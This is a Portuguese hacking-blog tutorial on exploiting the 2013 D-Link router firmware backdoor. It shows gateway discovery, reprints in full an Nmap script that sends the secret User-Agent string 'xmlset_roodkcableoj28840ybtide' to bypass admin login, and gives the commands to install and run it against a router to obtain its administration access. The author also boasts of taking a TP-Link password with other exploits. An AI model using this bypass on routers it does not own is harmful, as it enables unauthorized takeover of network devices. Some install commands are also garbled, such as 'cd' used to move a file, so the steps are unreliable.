segunda-feira, 21 de outubro de 2013

Explorando Nova falha D-link

071009_d-link_855 | hacking Primeiro tópico de muitos sobre redes wireless, como sempre wifi vulnerável. Recentemente eu postei como uma notícia que um pesquisador achou uma falha em roteadores D-link como todos sabem os roteadores D-link São muitos utilizados mundo a fora.  O que acontece é programadores como sempre para facilitar a vida deles mesmo, desenvolveram um backdoor para manutenção dos roteadores isso se resume em facilitar na atualização.
A falha foi encontrada pelo pesquisador de segurança Craig Heffner, da Tactical Network Solutions. O especialista em sistemas de comunicação sem fio escreveu em seu blog que a interface web de alguns roteadores da D-Link poderia ser acessada por meio da sequência “xmlset_roodkcableoj28840ybtide” em um navegador comum.
Vamos lá.
primeiramente precisamos abrir o terminal e fazer um simples scanner no roteador.
para saber o getway digite o comando abaixo
root:~$ route 
Kernel IP routing table
Destination Gateway Genmask Flags Metric Ref Use Iface
default 192.168.1.1 0.0.0.0 UG 0 0 0 wlan0
link-local * 255.255.0.0 U 1000 0 0 wlan0
192.168.1.0 * 255.255.255.0 U 2 0 0 wlan0
192.168.18.0 * 255.255.255.0 U 0 0 0 vmnet1
192.168.157.0 * 255.255.255.0 U 0 0 0 vmnet8
pronto já sabemos qual o endereço do roteador, agora vamos configurar o Nmap para instalar o plugin com a falha do D-link
01
02
03
04
05
06
07
08
09
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
description = [[
Detects a firmware backdoor on some D-Link routers by changing the User-Agent
to a "secret" value. Using the "secret" User-Agent bypasses authentication
and allows admin access to the router.
 
The following router models are likely to be vulnerable: DIR-100, DIR-120,
DI-624S, DI-524UP, DI-604S, DI-604UP, DI-604+, TM-G5240
 
In addition, several Planex routers also appear to use the same firmware:
BRL-04UR, BRL-04CW
 
Reference: http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
]]
 
---
-- @usage
-- nmap -sV --script http-dlink-backdoor <target>
--
-- @output
-- PORT   STATE SERVICE REASON
-- 80/tcp open  http    syn-ack
-- | http-dlink-backdoor:
-- |   VULNERABLE:
-- |   Firmware backdoor in some models of D-Link routers allow for admin password bypass
-- |     State: VULNERABLE
-- |     Risk factor: High
-- |     Description:
-- |       D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
-- |
-- |     References:
-- |_      http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/
---
 
author = "Patrik Karlsson <patrik@cqure.net>"
license = "Same as Nmap--See http://nmap.org/book/man-legal.html"
categories = {"exploit","vuln"}
 
local http = require "http"
local shortport = require "shortport"
local stdnse = require "stdnse"
local string = require "string"
local vulns = require "vulns"
 
portrule = shortport.http
 
action = function(host, port)
    local response = http.get(host, port, "/", { redirect_ok = false, no_cache = true })
    local server = response.header and response.header['server']
    local vuln_table = {
        title = "Firmware backdoor in some models of D-Link routers allow for admin password bypass",
        state = vulns.STATE.NOT_VULN,
        risk_factor = "High",
        description = [[
D-Link routers have been found with a firmware backdoor allowing for admin password bypass using a "secret" User-Agent string.
]],
        references = {
        }
    }
    if ( response.status == 401 and server:match("^thttpd%-alphanetworks") ) or
        ( response.status == 302 and server:match("^Alpha_webserv") ) then
        response = http.get(host, port, "/", { header = { ["User-Agent"] = "xmlset_roodkcableoj28840ybtide" } })
 
        if ( response.status == 200 ) then
            vuln_table.state = vulns.STATE.VULN
            local report = vulns.Report:new(SCRIPT_NAME, host, port)
            return report:make_output(vuln_table)
        end
    end
    return
end
criei um arquivo com a extração .nse vai ficar assim http-dlink-backdoor.nse
olhe nos prints abaixo como ficará
chmodsecurity msfc0d3r
Cole o código acima:
Exploit http d-link
depois pressione Ctrl + x e depois enter para salvador o arquivo
próximo passo é adicionar dentro da pasta do Nmap esse arquivo que criamos.
root:~$ cd http-dlink-backdoor.nse /usr/local/share/nmap/scripts/
falha no d-link
agora podemos utiliza-lo para conseguir o login da parte de administração do roteador.
nmap -sV –script http-dlink-backdoor 192.168.1.1
D-Link roteadores foram encontrados com um backdoor firmware permitindo desvio senha de administrador usando uma seqüência de “senhas” User-Agent.
Uma pena que meu roteador não ser D-link, e você que tem um TP-LInk e pensa que está seguro ? eu tenho um TP-link e ja conseguir o password com outros exploit, para roteadores lembrando que esse processo so poderá ser efetuado se você estiver inserido na rede que vai atacar,ou seja, so em rede local.
acesse o blog do criador e entre em mais detalhes.

http://www.devttys0.com/2013/10/reverse-engineering-a-d-link-backdoor/


Credito: CHMOD SECURITY E MHARCOS NESTER.....
← Postagem mais recente Postagem mais antiga → Página inicial

0 comentários:

Postar um comentário

Copyright © Hacking & Security | Powered by Xandao Design by Xandao86 | Xandao86